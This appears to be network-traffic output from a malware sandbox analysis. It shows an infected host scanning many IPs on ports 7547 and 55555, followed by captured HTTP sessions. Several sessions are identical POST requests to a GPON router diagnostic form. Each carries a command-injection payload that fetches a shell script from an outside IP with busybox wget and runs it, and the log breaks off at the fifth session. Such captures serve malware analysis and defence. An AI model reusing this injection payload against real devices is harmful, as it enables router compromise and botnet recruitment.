Mar 21, 2024 05:16:52.957005024 CET	19008	7547	192.168.2.23	182.101.17.52
Mar 21, 2024 05:16:52.957005024 CET	19016	55555	192.168.2.23	184.27.143.54
Mar 21, 2024 05:16:52.957010031 CET	19008	7547	192.168.2.23	77.65.127.31
Mar 21, 2024 05:16:52.957012892 CET	19008	7547	192.168.2.23	74.132.0.232
Mar 21, 2024 05:16:52.957015991 CET	19016	55555	192.168.2.23	98.20.9.173
Mar 21, 2024 05:16:52.957020998 CET	19016	55555	192.168.2.23	98.181.41.30
Mar 21, 2024 05:16:52.957020998 CET	19016	55555	192.168.2.23	172.9.128.155
Mar 21, 2024 05:16:52.957021952 CET	19016	55555	192.168.2.23	184.107.175.191
Mar 21, 2024 05:16:52.957021952 CET	19016	55555	192.168.2.23	98.206.8.204
Mar 21, 2024 05:16:52.957021952 CET	19008	7547	192.168.2.23	170.132.145.233
Mar 21, 2024 05:16:52.957022905 CET	19008	7547	192.168.2.23	91.133.140.101
Mar 21, 2024 05:16:52.957025051 CET	19016	55555	192.168.2.23	98.50.24.180
Mar 21, 2024 05:16:52.957030058 CET	19008	7547	192.168.2.23	9.52.88.150
Mar 21, 2024 05:16:52.957032919 CET	19016	55555	192.168.2.23	184.62.66.59
Mar 21, 2024 05:16:52.957046986 CET	19008	7547	192.168.2.23	201.54.64.241
Mar 21, 2024 05:16:52.957048893 CET	19008	7547	192.168.2.23	62.242.150.207
Mar 21, 2024 05:16:52.957053900 CET	19016	55555	192.168.2.23	172.49.153.3
Mar 21, 2024 05:16:52.957060099 CET	19016	55555	192.168.2.23	184.115.231.55
Mar 21, 2024 05:16:52.957060099 CET	19008	7547	192.168.2.23	123.183.126.114
Mar 21, 2024 05:16:52.957060099 CET	19008	7547	192.168.2.23	70.141.21.73
Mar 21, 2024 05:16:52.957060099 CET	19016	55555	192.168.2.23	184.247.35.56
Mar 21, 2024 05:16:52.957060099 CET	19008	7547	192.168.2.23	103.13.95.111
Mar 21, 2024 05:16:52.957062006 CET	19016	55555	192.168.2.23	98.68.43.92
Mar 21, 2024 05:16:52.957063913 CET	19016	55555	192.168.2.23	184.125.239.145
Mar 21, 2024 05:16:52.957063913 CET	19008	7547	192.168.2.23	77.20.173.111
Mar 21, 2024 05:16:52.957066059 CET	19008	7547	192.168.2.23	210.38.149.26
Mar 21, 2024 05:16:52.957066059 CET	19016	55555	192.168.2.23	184.194.108.234
Mar 21, 2024 05:16:52.957063913 CET	19008	7547	192.168.2.23	102.55.107.92
Mar 21, 2024 05:16:52.957072020 CET	19008	7547	192.168.2.23	42.133.227.253
Mar 21, 2024 05:16:52.957077980 CET	19016	55555	192.168.2.23	98.173.119.116
Mar 21, 2024 05:16:52.957082033 CET	19016	55555	192.168.2.23	98.53.121.28
Mar 21, 2024 05:16:52.957082033 CET	19008	7547	192.168.2.23	148.54.208.41
Mar 21, 2024 05:16:52.957082033 CET	19016	55555	192.168.2.23	172.35.206.5
Mar 21, 2024 05:16:52.957084894 CET	19008	7547	192.168.2.23	201.26.7.182
Mar 21, 2024 05:16:52.957086086 CET	19008	7547	192.168.2.23	12.166.36.57
Mar 21, 2024 05:16:52.957084894 CET	19008	7547	192.168.2.23	165.93.93.228
Mar 21, 2024 05:16:52.957084894 CET	19008	7547	192.168.2.23	101.69.111.249
Mar 21, 2024 05:16:52.957084894 CET	19008	7547	192.168.2.23	188.70.145.3
Mar 21, 2024 05:16:52.957084894 CET	19008	7547	192.168.2.23	31.111.241.108
Mar 21, 2024 05:16:52.957091093 CET	19016	55555	192.168.2.23	98.219.129.242
Mar 21, 2024 05:16:52.957093954 CET	19016	55555	192.168.2.23	184.166.107.190
Mar 21, 2024 05:16:52.957093954 CET	19016	55555	192.168.2.23	172.173.199.55
Mar 21, 2024 05:16:52.957094908 CET	19008	7547	192.168.2.23	39.58.239.157
Mar 21, 2024 05:16:52.957094908 CET	19008	7547	192.168.2.23	205.250.104.246
Mar 21, 2024 05:16:52.957098961 CET	19016	55555	192.168.2.23	184.231.67.195
Mar 21, 2024 05:16:52.957098961 CET	19016	55555	192.168.2.23	98.243.5.203
Mar 21, 2024 05:16:52.957104921 CET	19016	55555	192.168.2.23	98.192.14.55
Mar 21, 2024 05:16:52.957104921 CET	19016	55555	192.168.2.23	172.178.15.79
Mar 21, 2024 05:16:52.957104921 CET	19008	7547	192.168.2.23	130.136.210.82
Mar 21, 2024 05:16:52.957106113 CET	19008	7547	192.168.2.23	191.64.183.147
Mar 21, 2024 05:16:52.957106113 CET	19008	7547	192.168.2.23	142.37.141.45
Mar 21, 2024 05:16:52.957110882 CET	19016	55555	192.168.2.23	172.192.118.251
Mar 21, 2024 05:16:52.957113028 CET	19016	55555	192.168.2.23	172.251.211.207
Mar 21, 2024 05:16:52.957113028 CET	19016	55555	192.168.2.23	98.105.159.198
Mar 21, 2024 05:16:52.957117081 CET	19008	7547	192.168.2.23	138.12.19.149
Mar 21, 2024 05:16:52.957117081 CET	19008	7547	192.168.2.23	180.25.30.175
Mar 21, 2024 05:16:52.957117081 CET	19008	7547	192.168.2.23	90.251.92.183
Mar 21, 2024 05:16:52.957118034 CET	19016	55555	192.168.2.23	172.163.188.198
Mar 21, 2024 05:16:52.957119942 CET	19016	55555	192.168.2.23	172.226.154.71
Mar 21, 2024 05:16:52.957127094 CET	19016	55555	192.168.2.23	172.163.83.115
Mar 21, 2024 05:16:52.957124949 CET	19008	7547	192.168.2.23	189.148.2.247
Mar 21, 2024 05:16:52.957124949 CET	19008	7547	192.168.2.23	152.235.136.2
Mar 21, 2024 05:16:52.957133055 CET	19008	7547	192.168.2.23	151.230.4.216
Mar 21, 2024 05:16:52.957133055 CET	19016	55555	192.168.2.23	98.208.121.64
Mar 21, 2024 05:16:52.957134008 CET	19008	7547	192.168.2.23	35.35.60.80
Mar 21, 2024 05:16:52.957134962 CET	19008	7547	192.168.2.23	102.104.32.186
Mar 21, 2024 05:16:52.957134962 CET	19008	7547	192.168.2.23	203.134.50.119
Mar 21, 2024 05:16:52.957138062 CET	19016	55555	192.168.2.23	184.47.21.181
Mar 21, 2024 05:16:52.957139969 CET	19008	7547	192.168.2.23	14.193.212.138
Mar 21, 2024 05:16:52.957143068 CET	19008	7547	192.168.2.23	206.195.215.146
Mar 21, 2024 05:16:52.957150936 CET	19008	7547	192.168.2.23	54.182.159.168
Mar 21, 2024 05:16:52.957154036 CET	19008	7547	192.168.2.23	106.108.201.185
Mar 21, 2024 05:16:52.957154989 CET	19016	55555	192.168.2.23	172.192.220.202
Mar 21, 2024 05:16:52.957154989 CET	19016	55555	192.168.2.23	172.168.65.80
Mar 21, 2024 05:16:52.957154989 CET	19008	7547	192.168.2.23	112.183.75.239
Mar 21, 2024 05:16:52.957156897 CET	19008	7547	192.168.2.23	8.2.104.100
Mar 21, 2024 05:16:52.957158089 CET	19016	55555	192.168.2.23	172.172.13.162
Mar 21, 2024 05:16:52.957159996 CET	19008	7547	192.168.2.23	199.23.204.99
Mar 21, 2024 05:16:52.957169056 CET	19008	7547	192.168.2.23	23.110.6.217
Mar 21, 2024 05:16:52.957171917 CET	19008	7547	192.168.2.23	164.70.134.28
Mar 21, 2024 05:16:52.957175970 CET	19016	55555	192.168.2.23	98.102.128.39
Mar 21, 2024 05:16:52.957178116 CET	19016	55555	192.168.2.23	184.163.45.18
Mar 21, 2024 05:16:52.957178116 CET	19016	55555	192.168.2.23	172.249.146.191
Mar 21, 2024 05:16:52.957186937 CET	19016	55555	192.168.2.23	98.6.240.118
Mar 21, 2024 05:16:52.957186937 CET	19016	55555	192.168.2.23	172.183.100.254
Mar 21, 2024 05:16:52.957189083 CET	19016	55555	192.168.2.23	172.61.48.203
Mar 21, 2024 05:16:52.957197905 CET	19016	55555	192.168.2.23	184.23.245.66
Mar 21, 2024 05:16:52.957200050 CET	19016	55555	192.168.2.23	98.32.194.83
Mar 21, 2024 05:16:52.957202911 CET	19016	55555	192.168.2.23	184.213.234.137
Mar 21, 2024 05:16:52.957216978 CET	19016	55555	192.168.2.23	172.99.70.54
Mar 21, 2024 05:16:52.957217932 CET	19016	55555	192.168.2.23	98.27.169.86
Mar 21, 2024 05:16:52.957220078 CET	19008	7547	192.168.2.23	192.67.164.31
Mar 21, 2024 05:16:52.957223892 CET	19016	55555	192.168.2.23	184.14.198.88
Mar 21, 2024 05:16:52.957223892 CET	19016	55555	192.168.2.23	172.34.191.113
Mar 21, 2024 05:16:52.957223892 CET	19008	7547	192.168.2.23	143.31.211.62
Mar 21, 2024 05:16:52.957226992 CET	19008	7547	192.168.2.23	111.82.63.254
Mar 21, 2024 05:16:52.957237005 CET	19016	55555	192.168.2.23	172.124.99.32
Mar 21, 2024 05:16:52.957243919 CET	19008	7547	192.168.2.23	206.206.112.24
Mar 21, 2024 05:16:52.957243919 CET	19016	55555	192.168.2.23	184.97.59.228
Mar 21, 2024 05:16:52.957248926 CET	19016	55555	192.168.2.23	184.227.191.9
Mar 21, 2024 05:16:52.957248926 CET	19016	55555	192.168.2.23	184.235.38.199
Mar 21, 2024 05:16:52.957248926 CET	19016	55555	192.168.2.23	98.234.133.66
Mar 21, 2024 05:16:52.957252979 CET	19008	7547	192.168.2.23	45.134.204.158
Mar 21, 2024 05:16:52.957254887 CET	19016	55555	192.168.2.23	172.126.176.93
Mar 21, 2024 05:16:52.957254887 CET	19008	7547	192.168.2.23	211.78.94.205
Mar 21, 2024 05:16:52.957257032 CET	19008	7547	192.168.2.23	140.81.17.181
Mar 21, 2024 05:16:52.957262993 CET	19008	7547	192.168.2.23	111.143.155.133
Mar 21, 2024 05:16:52.957262993 CET	19016	55555	192.168.2.23	172.219.199.208
Mar 21, 2024 05:16:52.957262993 CET	19008	7547	192.168.2.23	14.192.100.45
Mar 21, 2024 05:16:52.957262993 CET	19008	7547	192.168.2.23	85.119.160.99
Mar 21, 2024 05:16:52.957263947 CET	19008	7547	192.168.2.23	147.87.38.184
Mar 21, 2024 05:16:52.957262993 CET	19016	55555	192.168.2.23	172.80.193.209
Mar 21, 2024 05:16:52.957263947 CET	19016	55555	192.168.2.23	184.202.30.133
Mar 21, 2024 05:16:52.957274914 CET	19008	7547	192.168.2.23	203.52.30.27
Mar 21, 2024 05:16:52.957274914 CET	19008	7547	192.168.2.23	164.51.70.69
Mar 21, 2024 05:16:52.957281113 CET	19016	55555	192.168.2.23	98.195.110.164
Mar 21, 2024 05:16:52.957281113 CET	19008	7547	192.168.2.23	200.118.134.48
Mar 21, 2024 05:16:52.957283974 CET	19016	55555	192.168.2.23	98.228.133.7
Mar 21, 2024 05:16:52.957285881 CET	19008	7547	192.168.2.23	191.44.36.65
Mar 21, 2024 05:16:52.957288980 CET	19008	7547	192.168.2.23	68.219.175.166
Mar 21, 2024 05:16:52.957294941 CET	19016	55555	192.168.2.23	172.93.167.174
Mar 21, 2024 05:16:52.957300901 CET	19016	55555	192.168.2.23	184.182.112.136
Mar 21, 2024 05:16:52.957309961 CET	19016	55555	192.168.2.23	172.250.95.213
Mar 21, 2024 05:16:52.957308054 CET	19008	7547	192.168.2.23	167.36.64.55
Mar 21, 2024 05:16:52.957310915 CET	19008	7547	192.168.2.23	57.236.106.91
Mar 21, 2024 05:16:52.957310915 CET	19008	7547	192.168.2.23	162.72.233.239
Mar 21, 2024 05:16:52.957313061 CET	19016	55555	192.168.2.23	184.132.226.80
Mar 21, 2024 05:16:52.957314968 CET	19016	55555	192.168.2.23	98.88.96.45
Mar 21, 2024 05:16:52.957314968 CET	19016	55555	192.168.2.23	184.105.230.188
Mar 21, 2024 05:16:52.957318068 CET	19016	55555	192.168.2.23	184.4.36.75
Mar 21, 2024 05:16:52.957318068 CET	19016	55555	192.168.2.23	98.225.149.22
Mar 21, 2024 05:16:52.957319021 CET	19016	55555	192.168.2.23	98.106.29.99
Mar 21, 2024 05:16:52.957319021 CET	19008	7547	192.168.2.23	35.127.36.253
Mar 21, 2024 05:16:52.957321882 CET	19008	7547	192.168.2.23	163.8.237.101
Mar 21, 2024 05:16:52.957319021 CET	19008	7547	192.168.2.23	49.76.7.200
Mar 21, 2024 05:16:52.957330942 CET	19016	55555	192.168.2.23	98.99.136.106
Mar 21, 2024 05:16:52.957330942 CET	19008	7547	192.168.2.23	78.158.13.23
Mar 21, 2024 05:16:52.957331896 CET	19016	55555	192.168.2.23	172.183.247.96
Mar 21, 2024 05:16:52.957325935 CET	19016	55555	192.168.2.23	184.178.139.29
Mar 21, 2024 05:16:52.957331896 CET	19008	7547	192.168.2.23	219.66.140.96
Mar 21, 2024 05:16:52.957333088 CET	19016	55555	192.168.2.23	172.188.158.36
Mar 21, 2024 05:16:52.957325935 CET	19008	7547	192.168.2.23	171.70.119.163
Mar 21, 2024 05:16:52.957334995 CET	19008	7547	192.168.2.23	74.69.62.248
Mar 21, 2024 05:16:52.957334995 CET	19008	7547	192.168.2.23	133.175.189.55
Mar 21, 2024 05:16:52.957334995 CET	19016	55555	192.168.2.23	172.78.191.141
Mar 21, 2024 05:16:52.957350016 CET	19008	7547	192.168.2.23	192.235.206.58
Mar 21, 2024 05:16:52.957354069 CET	19008	7547	192.168.2.23	195.103.82.249
Mar 21, 2024 05:16:52.957354069 CET	19016	55555	192.168.2.23	184.207.123.30
Mar 21, 2024 05:16:52.957355976 CET	19008	7547	192.168.2.23	117.37.108.248
Mar 21, 2024 05:16:52.957355976 CET	19008	7547	192.168.2.23	73.122.140.3
Mar 21, 2024 05:16:52.957355976 CET	19008	7547	192.168.2.23	158.29.10.108
Mar 21, 2024 05:16:52.957359076 CET	19016	55555	192.168.2.23	184.63.1.95
Mar 21, 2024 05:16:52.957360029 CET	19016	55555	192.168.2.23	172.129.219.221
Mar 21, 2024 05:16:52.957360983 CET	19008	7547	192.168.2.23	217.220.69.3
Mar 21, 2024 05:16:52.957366943 CET	19008	7547	192.168.2.23	223.53.230.202
Mar 21, 2024 05:16:52.957366943 CET	19016	55555	192.168.2.23	184.171.62.242
Mar 21, 2024 05:16:52.957371950 CET	19008	7547	192.168.2.23	60.17.128.136
Mar 21, 2024 05:16:52.957374096 CET	19008	7547	192.168.2.23	155.129.132.239
Mar 21, 2024 05:16:52.957374096 CET	19016	55555	192.168.2.23	184.201.14.2
Mar 21, 2024 05:16:52.957375050 CET	19016	55555	192.168.2.23	172.172.106.245
Mar 21, 2024 05:16:52.957376957 CET	19008	7547	192.168.2.23	154.95.33.144
Mar 21, 2024 05:16:52.957377911 CET	19016	55555	192.168.2.23	172.168.186.187
Mar 21, 2024 05:16:52.957377911 CET	19008	7547	192.168.2.23	62.230.254.44
Mar 21, 2024 05:16:52.957380056 CET	19016	55555	192.168.2.23	184.161.1.100
Mar 21, 2024 05:16:52.957381964 CET	19008	7547	192.168.2.23	205.138.130.40
Mar 21, 2024 05:16:52.957384109 CET	19008	7547	192.168.2.23	114.171.192.93
Mar 21, 2024 05:16:52.957391977 CET	19008	7547	192.168.2.23	107.198.79.112
Mar 21, 2024 05:16:52.957400084 CET	19016	55555	192.168.2.23	172.71.11.150
Mar 21, 2024 05:16:52.957400084 CET	19016	55555	192.168.2.23	184.93.44.227
Mar 21, 2024 05:16:52.957400084 CET	19016	55555	192.168.2.23	184.189.40.160
Mar 21, 2024 05:16:52.957401037 CET	19016	55555	192.168.2.23	184.128.238.43
Mar 21, 2024 05:16:52.957405090 CET	19008	7547	192.168.2.23	205.172.221.227
Mar 21, 2024 05:16:52.957408905 CET	19008	7547	192.168.2.23	114.25.37.132
Mar 21, 2024 05:16:52.957410097 CET	19016	55555	192.168.2.23	172.171.222.233
Mar 21, 2024 05:16:52.957410097 CET	19016	55555	192.168.2.23	184.193.185.198
Mar 21, 2024 05:16:52.957410097 CET	19008	7547	192.168.2.23	150.150.34.158
Mar 21, 2024 05:16:52.957408905 CET	19016	55555	192.168.2.23	184.24.152.215
Mar 21, 2024 05:16:52.957410097 CET	19008	7547	192.168.2.23	163.162.159.166
Mar 21, 2024 05:16:52.957412958 CET	19016	55555	192.168.2.23	98.202.195.101
Mar 21, 2024 05:16:52.957417965 CET	19008	7547	192.168.2.23	162.168.18.25
Mar 21, 2024 05:16:52.957421064 CET	19016	55555	192.168.2.23	184.48.120.201
Mar 21, 2024 05:16:52.957421064 CET	19016	55555	192.168.2.23	98.66.27.197
Mar 21, 2024 05:16:52.957423925 CET	19008	7547	192.168.2.23	199.101.78.58
Mar 21, 2024 05:16:52.957432985 CET	19008	7547	192.168.2.23	200.131.209.20
Mar 21, 2024 05:16:52.957436085 CET	19008	7547	192.168.2.23	67.173.107.172
Mar 21, 2024 05:16:52.957439899 CET	19008	7547	192.168.2.23	107.68.23.50
Mar 21, 2024 05:16:52.957439899 CET	19016	55555	192.168.2.23	184.203.176.116
Mar 21, 2024 05:16:52.957439899 CET	19016	55555	192.168.2.23	98.164.209.80
Mar 21, 2024 05:16:52.957439899 CET	19008	7547	192.168.2.23	113.113.28.185
Mar 21, 2024 05:16:52.957439899 CET	19016	55555	192.168.2.23	184.90.219.221
Mar 21, 2024 05:16:52.957443953 CET	19008	7547	192.168.2.23	131.248.103.16
Mar 21, 2024 05:16:52.957446098 CET	19016	55555	192.168.2.23	172.241.119.70
Mar 21, 2024 05:16:52.957447052 CET	19008	7547	192.168.2.23	182.174.200.118
Mar 21, 2024 05:16:52.957448006 CET	19008	7547	192.168.2.23	59.226.243.191
Mar 21, 2024 05:16:52.957447052 CET	19016	55555	192.168.2.23	172.86.45.69
Mar 21, 2024 05:16:52.957459927 CET	19008	7547	192.168.2.23	220.208.125.95
Mar 21, 2024 05:16:52.957459927 CET	19016	55555	192.168.2.23	98.76.255.73
Mar 21, 2024 05:16:52.957465887 CET	19016	55555	192.168.2.23	184.106.218.252
Mar 21, 2024 05:16:52.957468033 CET	19008	7547	192.168.2.23	222.74.175.36
Mar 21, 2024 05:16:52.957468033 CET	19008	7547	192.168.2.23	175.64.228.18
Mar 21, 2024 05:16:52.957469940 CET	19016	55555	192.168.2.23	172.99.233.86
Mar 21, 2024 05:16:52.957482100 CET	19016	55555	192.168.2.23	172.232.216.160
Mar 21, 2024 05:16:52.957487106 CET	19016	55555	192.168.2.23	98.113.227.173
Mar 21, 2024 05:16:52.957492113 CET	19008	7547	192.168.2.23	194.31.100.184
Mar 21, 2024 05:16:52.957494020 CET	19008	7547	192.168.2.23	188.164.53.95
Mar 21, 2024 05:16:52.957494020 CET	19008	7547	192.168.2.23	36.18.150.98
Mar 21, 2024 05:16:52.957494974 CET	19016	55555	192.168.2.23	98.61.14.234
Mar 21, 2024 05:16:52.957494974 CET	19016	55555	192.168.2.23	184.205.118.205
Mar 21, 2024 05:16:52.957495928 CET	19016	55555	192.168.2.23	184.233.155.57
Mar 21, 2024 05:16:52.957500935 CET	19016	55555	192.168.2.23	184.138.224.79
Mar 21, 2024 05:16:52.957500935 CET	19008	7547	192.168.2.23	165.171.18.220
Mar 21, 2024 05:16:52.957500935 CET	19008	7547	192.168.2.23	60.29.125.198
Mar 21, 2024 05:16:52.957501888 CET	19008	7547	192.168.2.23	160.67.189.220
Mar 21, 2024 05:16:52.957501888 CET	19008	7547	192.168.2.23	161.211.89.224
Mar 21, 2024 05:16:52.957501888 CET	19016	55555	192.168.2.23	172.72.198.165
Mar 21, 2024 05:16:52.957504988 CET	19008	7547	192.168.2.23	88.144.220.165
Mar 21, 2024 05:16:52.957504988 CET	19016	55555	192.168.2.23	172.90.45.149
Mar 21, 2024 05:16:52.957504988 CET	19008	7547	192.168.2.23	170.27.71.219
Mar 21, 2024 05:16:52.957506895 CET	19016	55555	192.168.2.23	184.117.166.205
Mar 21, 2024 05:16:52.957506895 CET	19016	55555	192.168.2.23	172.255.164.151
Mar 21, 2024 05:16:52.957508087 CET	19008	7547	192.168.2.23	132.99.197.38
Mar 21, 2024 05:16:52.957515955 CET	19008	7547	192.168.2.23	138.105.187.31
Mar 21, 2024 05:16:52.957515955 CET	19016	55555	192.168.2.23	172.74.52.9
Mar 21, 2024 05:16:52.957521915 CET	19016	55555	192.168.2.23	172.133.231.184
Mar 21, 2024 05:16:52.957524061 CET	19016	55555	192.168.2.23	172.185.82.243
Mar 21, 2024 05:16:52.957524061 CET	19008	7547	192.168.2.23	43.104.126.120
Mar 21, 2024 05:16:52.957524061 CET	19016	55555	192.168.2.23	98.129.131.153
Mar 21, 2024 05:16:52.957530975 CET	19016	55555	192.168.2.23	98.15.48.14
Mar 21, 2024 05:16:52.957535028 CET	19016	55555	192.168.2.23	184.191.0.56
Mar 21, 2024 05:16:52.957537889 CET	19008	7547	192.168.2.23	143.13.236.14
Mar 21, 2024 05:16:52.957537889 CET	19008	7547	192.168.2.23	79.61.44.245
Mar 21, 2024 05:16:52.957540035 CET	19008	7547	192.168.2.23	111.237.10.166
Mar 21, 2024 05:16:52.957540035 CET	19008	7547	192.168.2.23	50.252.45.139
Mar 21, 2024 05:16:52.957540035 CET	19016	55555	192.168.2.23	172.193.88.243
Mar 21, 2024 05:16:52.957544088 CET	19016	55555	192.168.2.23	184.230.93.17
Mar 21, 2024 05:16:52.957544088 CET	19016	55555	192.168.2.23	98.22.28.239
Mar 21, 2024 05:16:52.957545996 CET	19008	7547	192.168.2.23	154.164.173.70
Mar 21, 2024 05:16:52.957554102 CET	19016	55555	192.168.2.23	172.247.208.232
Mar 21, 2024 05:16:52.957566977 CET	19016	55555	192.168.2.23	184.155.135.252
Mar 21, 2024 05:16:52.957570076 CET	19008	7547	192.168.2.23	69.206.111.201
Mar 21, 2024 05:16:52.957570076 CET	19008	7547	192.168.2.23	106.177.217.120
Mar 21, 2024 05:16:52.957571030 CET	19008	7547	192.168.2.23	96.142.187.201
Mar 21, 2024 05:16:52.957571030 CET	19016	55555	192.168.2.23	172.36.149.110
Mar 21, 2024 05:16:52.957576036 CET	19016	55555	192.168.2.23	184.116.210.57
Mar 21, 2024 05:16:52.957576990 CET	19016	55555	192.168.2.23	184.170.221.111
Mar 21, 2024 05:16:52.957580090 CET	19016	55555	192.168.2.23	172.33.237.79
Mar 21, 2024 05:16:52.957580090 CET	19008	7547	192.168.2.23	48.104.224.194
Mar 21, 2024 05:16:52.957580090 CET	19008	7547	192.168.2.23	44.43.5.10
Mar 21, 2024 05:16:52.957580090 CET	19016	55555	192.168.2.23	98.150.90.58
Mar 21, 2024 05:16:52.957582951 CET	19008	7547	192.168.2.23	111.237.0.59
Mar 21, 2024 05:16:52.957582951 CET	19008	7547	192.168.2.23	130.31.95.242
Mar 21, 2024 05:16:52.957585096 CET	19008	7547	192.168.2.23	35.170.193.132
Mar 21, 2024 05:16:52.957587004 CET	19008	7547	192.168.2.23	25.79.247.6
Mar 21, 2024 05:16:52.957587004 CET	19008	7547	192.168.2.23	78.23.117.168
Mar 21, 2024 05:16:52.957587957 CET	19016	55555	192.168.2.23	98.22.72.23
Mar 21, 2024 05:16:52.957587004 CET	19008	7547	192.168.2.23	78.253.90.116
Mar 21, 2024 05:16:52.957587957 CET	19016	55555	192.168.2.23	98.36.88.158
Mar 21, 2024 05:16:52.957593918 CET	19016	55555	192.168.2.23	184.135.204.97
Mar 21, 2024 05:16:52.957595110 CET	19008	7547	192.168.2.23	99.19.237.136
Mar 21, 2024 05:16:52.957597971 CET	19016	55555	192.168.2.23	172.44.168.35
Mar 21, 2024 05:16:52.957597971 CET	19008	7547	192.168.2.23	136.53.118.172
Mar 21, 2024 05:16:52.957600117 CET	19016	55555	192.168.2.23	172.189.139.1
Mar 21, 2024 05:16:52.957606077 CET	19008	7547	192.168.2.23	201.241.13.209
Mar 21, 2024 05:16:52.957614899 CET	19016	55555	192.168.2.23	172.144.197.180
Mar 21, 2024 05:16:52.957617044 CET	19008	7547	192.168.2.23	67.67.197.235
Mar 21, 2024 05:16:52.957618952 CET	19016	55555	192.168.2.23	98.87.149.242

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	58024	178.60.216.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969304085 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	37406	178.95.43.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969398975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	57030	79.101.96.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969453096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	38418	212.141.129.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969459057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	58570	109.235.248.15	443

Timestamp	Bytes transferred	Direction	Data
